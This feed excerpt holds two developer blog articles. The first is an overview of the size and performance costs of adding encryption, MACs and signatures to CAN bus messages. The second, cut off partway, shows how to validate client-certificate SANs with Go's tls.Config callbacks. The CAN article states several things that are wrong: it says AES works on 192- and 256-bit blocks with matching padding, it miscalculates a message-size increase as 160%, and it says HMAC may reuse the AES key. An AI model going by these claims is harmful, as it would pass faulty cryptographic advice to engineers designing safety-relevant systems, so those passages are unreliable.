&lt;p&gt;The second standard is low speed/fault tolerant CAN, defined in ISO 11898-3. Low speed can allows for bitrates of up 125 kbps, with the maximum bitrate dropping with an increase in cable length. For the rest of this paper, we will assume low speed/fault tolerant CAN, though most of the considerations are the same.&lt;/p&gt;

&lt;p&gt;The purpose of this article is to discuss the potential impacts of adding various cryptographic elements to CAN bus messages. Its purpose is NOT to propose a specific cryptographic solution, but to outline some of the potential cryptographic elements you might want to add including their benefits and drawbacks. Care was taken to propose only state of the art cryptographic elements.&lt;/p&gt;

&lt;h1&gt;
  
  
  The Problem
&lt;/h1&gt;

&lt;p&gt;Communications security on the CAN bus is a fundamentally hard problem. The first  reason why is that the bandwidth available limits the bits available to dedicate to cryptographic data. The second problem is that CAN is a linear bus with no built in authentication or authorization mechanisms. This means that only a single node can transmit at any time, and the transmitting node is controlled by the priority of the message it is sending. It also means that there is nothing stopping a node from creating fraudulent messages appearing to be from a different node address. As such the CAN protocol allows for an attacker to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Selectively preempt messages it does not want to be delivered

&lt;ul&gt;
&lt;li&gt;By listening for a specific message it wants to preempt and interrupting with a higher priority message&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;Create a denial of service condition on the bus

&lt;ul&gt;
&lt;li&gt;By creating a stream of ‘junk’ highest priority messages&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;Create (or re-play) arbitrary messages pretending to be another node on the network&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These attacks, if they can be mitigated, must be mitigated at a layer above the CAN bus protocol, in the data fields of the CAN packets. However, the bandwidth limitations discussed above combined with the real time nature of CAN bus systems severely limit the options available. &lt;/p&gt;

&lt;h1&gt;
  
  
  Solutions
&lt;/h1&gt;

&lt;p&gt;Each of the potential mitigations below have benefits and drawbacks. To understand them we must first define some key properties of communications security systems. Once we have defined the key properties, you must determine what you want to protect, how much protection it needs, and then, using that information, select the best possible protection scheme. &lt;/p&gt;

&lt;h2&gt;
  
  
  Properties
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Confidentiality
&lt;/h3&gt;

&lt;p&gt;Confidentiality, or secrecy, is the property of being able to keep a message from being read by an adversary. That is, if an attacker is listening on the CAN bus, they would not be able to read messages in their original form. This is most often achieved through the use of encryption algorithms, such as AES.&lt;/p&gt;

&lt;h3&gt;
  
  
  Integrity
&lt;/h3&gt;

&lt;p&gt;Integrity is the property of being able to ensure or detect that a message has not been modified by unauthorized parties. This can be achieved through many different mechanisms such as a Message Authentication Code (MAC), Hash Based Message Authentication Code (HMAC), cryptographic signature, or by using an authenticated encryption mode (AEAD) of a cipher.&lt;/p&gt;

&lt;h3&gt;
  
  
  Authentication
&lt;/h3&gt;

&lt;p&gt;Authentication is the process or action of verifying the identity of a user or process. That is, if you receive a message from a node on a CAN bus you can positively verify that that message came from someone who possess some secret. If secrets are shared, such as in symmetric cryptographic systems (e.g. AES) you cannot verify that a particular node is who they say it is, rather just that it came from a node who possess the secret. This is because the secret is shared and not unique to each node. However, in asymmetric/public key cryptographic systems, you can verify that a node is who it says it is because the private key should only be held by a particular node, and not shared. This property is called non-repudiation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Information Gathering
&lt;/h2&gt;

&lt;p&gt;We would ideally like the encrypt and validate every message on the CAN bus, but we most likely cannot due to bandwidth and computational constraints. So we must define what it is that we are trying to protect. The most realistic scenario is that there is a subset of CAN messages which are the most important to secure. These are usually commands which will alter the behavior of the system communicating via the CAN bus. However, if you are constrained further, you may need to only select a subset of commands which alter the behavior of the system and that relate to safety of people and/or equipment. &lt;/p&gt;

&lt;p&gt;Once you have defined your set or subset of messages, you must determine which of the three properties defined above you need to implement. For instance: if you are transmitting some kind of sensitive piece of data over the CAN bus, confidentiality may be the prime concern. However, if it’s simply that the command is genuine, from a trusted source, you may only need Integrity and Authentication and not Confidentiality. &lt;/p&gt;

&lt;h2&gt;
  
  
  Confidentiality Solutions
&lt;/h2&gt;

&lt;p&gt;A confidentiality only solution would comprise of only one element: encryption. That is, taking the existing data and passing it through an encryption algorithm. Both symmetric systems and asymmetric cryptographic systems allow you to encrypt data, but due to the relative slowness of asymmetric systems vs symmetric systems, symmetric systems should be preferred in most cases. Note, asymmetric systems may be used to provide non-repudiation and secure a key exchange to establish a symmetric key.  &lt;/p&gt;

&lt;p&gt;The only symmetric algorithm that should be selected without a very careful analysis by a security professional is AES. However, just selecting AES does not guarantee security. Block ciphers, such as AES also have ‘modes of operation’ and those modes each have their own benefits and drawbacks. Regardless of which mode is selected, in the context of security on a CAN bus, the primary drawback to using AES on the CAN is the message size expansion. AES works on 128, 192 or 256 bit ‘blocks’ of data, with the increase in block size also increasing the level of security. If you have 1 byte of data that you want to encrypt, you must pad that data to 16 bytes for AES 128, 24 bytes for AES 192 and 32 bytes for AES 256. &lt;strong&gt;What may have been a single CAN packet with 1 byte is now, at a minimum, 2 packets and 16 bytes&lt;/strong&gt;, a 160% increase. &lt;/p&gt;

&lt;p&gt;It is important to note that selecting a ‘Confidentiality only solution’ may still leave you open to several different types of attacks such as (but not limited to):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Replay attacks&lt;/li&gt;
&lt;li&gt;Block combination attacks&lt;/li&gt;
&lt;li&gt;Padding oracle attacks&lt;/li&gt;
&lt;li&gt;Bit flipping attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And may require additional messaging to be defined in your communications scheme to support key exchange, IV transmission, or nonce transmission. Each of these also adds to either the message size or adds a new message type to your communications protocol.&lt;/p&gt;

&lt;p&gt;Another important thing to consider is the impact of using encryption on low power devices. The CAN bus is often used for real time systems and the delay caused by encrypting or decrypting data transmitted on the bus may be a significant problem for your application. Your hardware may or may not have AES acceleration or be able to support the memory footprint of the extra instructions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Integrity Solutions
&lt;/h2&gt;

&lt;p&gt;There are several options for providing integrity verification to messages. They each have their benefits and drawbacks, much like the confidentiality options. One option for providing integrity is an asymmetric cryptographic signature such as DSA or ECDSA. However, these signatures may be large and expensive to compute compared to a message authentication code (MAC) based on a symmetric key. A MAC is a piece of data added to a packet that is based on a shared secret and provides integrity and authenticity. An individual MAC created for a message is called a tag.&lt;/p&gt;

&lt;p&gt;You should note that using an integrity only solution on its own does not prevent replay attacks and will not protect the confidentiality of the data. Anyone on the bus can read the contents of the message. To prevent replay attacks you could, for instance, add a counter to the message, but must still be cautious as this isn’t a foolproof solution. &lt;/p&gt;

&lt;p&gt;There are several different types of MACs that can be considered.&lt;/p&gt;

&lt;h3&gt;
  
  
  Universal Hashing Based MACs
&lt;/h3&gt;

&lt;p&gt;There is really only one universal hashing based MAC that should be considered: UMAC. UMAC is defined in RFC 4418 . It produces 32, 64, 96, or 128 bit length tags (with security increasing with the length of the tag). The following section from the RFC should be read to understand the selection of the MAC length:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;UMAC with truly random keys and pads then the probability that an attacker (even a computationally unbounded one) produces a correct tag for any message of its choosing is no more than 1/2^30, 1/2^60, 1/2^90, or 1/2^120 if the tags output by UMAC are of length 32, 64, 96, or 128 bits, respectively (here the symbol ^ represents exponentiation).  When an attacker makes N forgery attempts, the probability of getting one or more tags right increases linearly to at most N/2^30, N/2^60, N/2^90, or N/2^120.  In a real implementation of UMAC, using AES to produce keys and pads, the forgery probabilities listed above increase by a small amount related to the security of AES.  As long as AES is secure, this small additive term is insignificant for any practical attack.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;UMAC requires two elements to be synchronized between the two nodes who are communicating. The first is a shared secret, distribution and security of which is not covered in this paper, and the second is a nonce. A nonce is an arbitrary number that can be used only once in a particular cryptographic communication. A nonce can be sent as part of the message in plaintext but MUST NOT BE REPEATED in conjunction with a particular key. &lt;/p&gt;

&lt;p&gt;Thus choosing to use UMAC for integrity would require 32-128 additional bits per message and either:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A sufficiently sized random nonce such that it can be randomly generated without reuse&lt;/li&gt;
&lt;li&gt;A nonce scheme such as a counter + key rotation scheme&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There are other universal hashing based MACs such as Poly1305, but that adds even more data than UMAC (128 bit minimum), and VMAC, which is designed for 64 bit CPUs which are unlikely to be used on a CAN bus. &lt;/p&gt;

&lt;p&gt;If used in conjunction with a confidentiality solution (like AES), UMAC &lt;strong&gt;must&lt;/strong&gt; use a different secret than that used with AES&lt;/p&gt;

&lt;h3&gt;
  
  
  Block Cipher based MACs
&lt;/h3&gt;

&lt;p&gt;There is only one block cipher based MAC that should be considered: AES-CMAC. CBC-MAC is another block cipher based MAC that is NIST approved, but should be avoided. AES-CMAC is a NIST approved MAC specified by RFC 4493 and also called OMAC1. Its tag size is 128, 192, or 256 bits in length and is based on the AES block cipher. This means that on boards that have AES acceleration, you may get some acceleration in the calculation of this MAC. &lt;/p&gt;

&lt;p&gt;If used in conjunction with a with a confidentiality solution (like AES), you must use a different key for the MAC and for AES.&lt;/p&gt;

&lt;h3&gt;
  
  
  HMAC
&lt;/h3&gt;

&lt;p&gt;Hash based message authentication codes (HMAC) are another option that should be considered. HMACs are based on cryptographic hash functions such as the SHA family of hashes and a secret key. The first cryptographic hash function that should be considered is the SHA family of hashes. Due to limited bandwidth you should probably only consider SHA-1. A SHA-1 based HMAC will add 160 bits to your message. Note that the cryptogrphic attacks against SHA-1 which result in collisions do &lt;em&gt;not&lt;/em&gt; effect the security of SHA-1 when used as an HMAC.&lt;/p&gt;

&lt;p&gt;You may also consider BLAKE and BLAKE2. BLAKE3 was recently released as well, but at the time of writing is Rust only, which won't be suitable for many embedded devices (yet). The BLAKE family of cryptographic hash functions tends to be slightly faster than SHA-1 (see: &lt;a href="https://blake2.net/"&gt;https://blake2.net/&lt;/a&gt;). It also has 'Keyed Hashing' built in, which makes creating MACs very easy (and fast). BLAKE/BLAKE2 also has support for configurable digest sizes, which means it can create tags of the same size as SHA-1. &lt;/p&gt;

&lt;p&gt;If used in conjunction with a with a confidentiality solution (like AES), you &lt;em&gt;may&lt;/em&gt; use the same key for the MAC and for AES.&lt;/p&gt;

&lt;h2&gt;
  
  
  Combined Confidentiality and Integrity Modes
&lt;/h2&gt;

&lt;p&gt;There are ciphers/cipher modes of operation that combine confidentiality and integrity. Ciphers that do so are called either ‘Authenticated Encryption’ (AE) or ‘Authenticated encryption with associated data’ (AEAD). &lt;/p&gt;

&lt;h3&gt;
  
  
  Authenticated Encryption
&lt;/h3&gt;

&lt;p&gt;Authenticated encryption schemes that should be considered follow the ‘Encrypt-then-MAC’ paradigm. Use a cipher like AES in an appropriate mode of operation to produce cipher text, then put the cipher text through a MAC function. These functions should use separate keys unless an HMAC is used (such as HMAC-SHA1). The message then consists of (CipherText + MAC)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--kKOz-BlH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://thepracticaldev.s3.amazonaws.com/i/n4kfxytx0zlecnbfnlqu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--kKOz-BlH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://thepracticaldev.s3.amazonaws.com/i/n4kfxytx0zlecnbfnlqu.png" alt="https://upload.wikimedia.org/wikipedia/commons/b/b9/Authenticated_Encryption_EtM.png" width="352" height="274"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On the receiving side, the MAC tag is verified, then the data is decrypted if the tag is valid. An AES-128 cipher combined with AES-CMAC would result in a data packet with a minimum size of 256 bits (32 bytes) which is 4 CAN packets without adding any additional data (such as a counter) to prevent replay attacks. &lt;/p&gt;

&lt;h3&gt;
  
  
  Authenticated Encryption with associated data
&lt;/h3&gt;

&lt;p&gt;There are several different AES modes that provide encryption and message integrity in one pass. There is one clear option that’s above all of the others: AES in Galois Counter Mode (AES-GCM). This mode is license free and extremely fast when compared to other AEAD modes of operation. In one pass, you can generate an AES encrypted cipher text and a MAC tag. The MAC tag produced is the same size as the block size being used with AES: 128, 192, or 256 bits. This mode will most often be preferred over encrypt-then-mac because of its speed.&lt;/p&gt;

&lt;p&gt;If you’re curious about the other modes, I will defer to Matthew Green: &lt;a href="https://blog.cryptographyengineering.com/2012/05/19/how-to-choose-authenticated-encryption/"&gt;Other AEAD modes&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Authentication
&lt;/h2&gt;

&lt;p&gt;The modes above provide authentication only in the sense that you know by virtue of being able to decrypt the message or validate a MAC (or both) that the other person has a copy of the correct key or keys. However, if you want to validate that a device is a particular device, and cannot be another device, you need non-repudiation provided by an asymmetric cryptographic system. While encrypting data (providing confidentiality) is possible with PKI, it is much slower than its symmetric counterparts (like AES), so we won’t consider if for the CAN bus. We will consider the effect of using cryptographic signing. There are two types of PKI that can be used, RSA and Elliptic Curve Cryptography (ECC). Cryptographic signatures for RSA are defined by public key cryptography standards (PKCS) and cryptographic signatures for ECC are defined by elliptic curve digital signature algorithm (ECDSA).&lt;/p&gt;

&lt;p&gt;For ECDSA, the minimum signature size is 64 bytes (8 CAN packets).&lt;/p&gt;

&lt;p&gt;For RSA (PKCS#1) the minimum signature size is 256 bytes (32 CAN packets). &lt;/p&gt;

&lt;p&gt;It goes without saying that these signature sizes are quite large for a CAN bus and, while they may be required, should be used sparingly. Furthermore, they are also expensive to compute and/or verify compared to their symmetric peers.&lt;/p&gt;

&lt;p&gt;The signature size does not include the transmission of a certificate chain, which may be required to authenticate a device, and would require a significant amount MORE data to be sent. Transmission of the certificate chain can be avoided or reduced in scope, but it requires careful design of the system, and reduces flexibility in your public key infrastructure. &lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusions
&lt;/h1&gt;

&lt;p&gt;Cryptography is hard. Cryptographic systems are even harder. The devil is in the details with each of these systems and the cost benefit analysis is non-trivial. It is extremely important to note that the primary focus of this document is NOT to provide guidance on what cryptographic elements you should choose for your cryptographic system and it does NOT provide guidance on how to build a complete cryptographic system that is immune to all attacks or even the attacks that you care most about preventing. What attacks you defend against is part of the compromises you will have to make when designing a system operating on a CAN bus. Instead, the focus of this paper was to provide information on the impact of various cryptographic elements on size of messages on the CAN bus and also discuss some of the impacts of adding these cryptographic elements on the performance of devices that will be required to perform them. &lt;/p&gt;

&lt;h3&gt;
  
  
  Links
&lt;/h3&gt;

&lt;p&gt;1) &lt;a href="https://github.com/CANToolz/CANToolz"&gt;https://github.com/CANToolz/CANToolz&lt;/a&gt;&lt;br&gt;
2) &lt;a href="http://illmatics.com/carhacking.html?_sm_nck=1"&gt;http://illmatics.com/carhacking.html?_sm_nck=1&lt;/a&gt;&lt;br&gt;
3) &lt;a href="https://tools.ietf.org/html/rfc4418"&gt;https://tools.ietf.org/html/rfc4418&lt;/a&gt;&lt;br&gt;
4) &lt;a href="https://blog.cryptographyengineering.com/2012/05/19/how-to-choose-authenticated-encryption/"&gt;https://blog.cryptographyengineering.com/2012/05/19/how-to-choose-authenticated-encryption/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>cryptography</category>
      <category>embedded</category>
    </item>
    <item>
      <title>Validating Client Certificate SANs in Go</title>
      <dc:creator>Jeremy Mill</dc:creator>
      <pubDate>Thu, 24 Jan 2019 17:17:05 +0000</pubDate>
      <link>https://dev.to/living_syn/validating-client-certificate-sans-in-go-i5p</link>
      <guid>https://dev.to/living_syn/validating-client-certificate-sans-in-go-i5p</guid>
      <description>&lt;p&gt;Go has one of the best TLS libraries available in any programming language, for it's my language of choice for doing networking tasks. So I was a bit surprised to learn that, by default, when you set &lt;code&gt;tls.RequireAndVerifyClientCert&lt;/code&gt; on a &lt;a href="https://golang.org/pkg/crypto/tls/#Config"&gt;tls.Config&lt;/a&gt; object, it doesn't verify the SAN/CN field on that client cert. The only thing it will verify is that it is signed by the configured root CA.&lt;/p&gt;

&lt;p&gt;Setting go up to perform this validation was not quite as intuitive as I first believed it would be and I hope that I can help you with it if you have the same need as myself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Starting Point
&lt;/h2&gt;

&lt;p&gt;Lets say you have a starting point of a generic tls config like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;serverConf&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Config&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Certificates&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Certificate&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cer&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="n"&gt;MinVersion&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VersionTLS12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ClientAuth&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RequireAndVerifyClientCert&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;ClientCAs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;    &lt;span class="n"&gt;rootCAs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here we've defined a server certificate, a minimum TLS version, the root CA's to use and that we need to verify client certificates. Right now, client certificates would be validated as signed by a CA in the rootCA's CertPool, but nothing else.&lt;/p&gt;

&lt;h2&gt;
  
  
  Custom Client Cert Validation
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;tls.Config&lt;/code&gt; object has a callback that looks very promising called &lt;code&gt;VerifyPeerCertificate&lt;/code&gt; that takes in a method with this signature:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rawCerts&lt;/span&gt; &lt;span class="p"&gt;[][]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verifiedChains&lt;/span&gt; &lt;span class="p"&gt;[][]&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;x509&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Certificate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The problem is that this doesn't have any of the client connection information passed it it for us to validate the connecting host! Luckily for us, there's another callback called &lt;code&gt;GetConfigForClient&lt;/code&gt;. &lt;code&gt;GetConfigForClient&lt;/code&gt; is another callback on the &lt;code&gt;tls.Config&lt;/code&gt; object which gives us the &lt;a href="https://golang.org/pkg/crypto/tls/#ClientHelloInfo"&gt;tls.ClientHelloInfo&lt;/a&gt; as an argument. and returns a per-client &lt;code&gt;tls.Config&lt;/code&gt; (or &lt;code&gt;nil&lt;/code&gt; for no-change) object.&lt;/p&gt;

&lt;p&gt;The answer is to use &lt;code&gt;GetConfigForClient&lt;/code&gt; to call a function which returns a closure that matches the &lt;code&gt;VerifyPeerCertificate&lt;/code&gt; signature but makes the &lt;code&gt;ClientHelloInfo&lt;/code&gt; available to it.&lt;/p&gt;

&lt;p&gt;Our server tls.Config now looks like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;serverConf&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Config&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Certificates&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Certificate&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cer&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="n"&gt;GetConfigForClient&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hi&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ClientHelloInfo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Config&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;serverConf&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Config&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;Certificates&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Certificate&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cer&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="n"&gt;MinVersion&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;            &lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VersionTLS12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;ClientAuth&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;            &lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RequireAndVerifyClientCert&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;ClientCAs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;             &lt;span class="n"&gt;rootCAs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;VerifyPeerCertificate&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;getClientValidator&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hi&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;serverConf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and our stubbed out &lt;code&gt;getClientValidator&lt;/code&gt; function looks like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;getClientValidator&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;helloInfo&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ClientHelloInfo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;([][]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[][]&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;x509&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Certificate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rawCerts&lt;/span&gt; &lt;span class="p"&gt;[][]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verifiedChains&lt;/span&gt; &lt;span class="p"&gt;[][]&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;x509&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Certificate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point there has been essentially no change to the functionality from where we started. Clients still connect, and their certificates are validated, but their SAN's are not.&lt;/p&gt;

&lt;h2&gt;
  
  
  Validating SANs
&lt;/h2&gt;

&lt;p&gt;To validate the SAN's on the client certificate we need to modify the &lt;code&gt;getClientValidator&lt;/code&gt;method. In order to avoid writing our own validation methods, we can utilize the same validator that's used by default when we specify &lt;code&gt;tls.RequireAndVerifyClientCert&lt;/code&gt; on our config object. All we need to do is add some additional options to its configuration object.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;getClientValidator&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;helloInfo&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ClientHelloInfo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;([][]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[][]&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;x509&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Certificate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rawCerts&lt;/span&gt; &lt;span class="p"&gt;[][]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verifiedChains&lt;/span&gt; &lt;span class="p"&gt;[][]&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;x509&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Certificate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
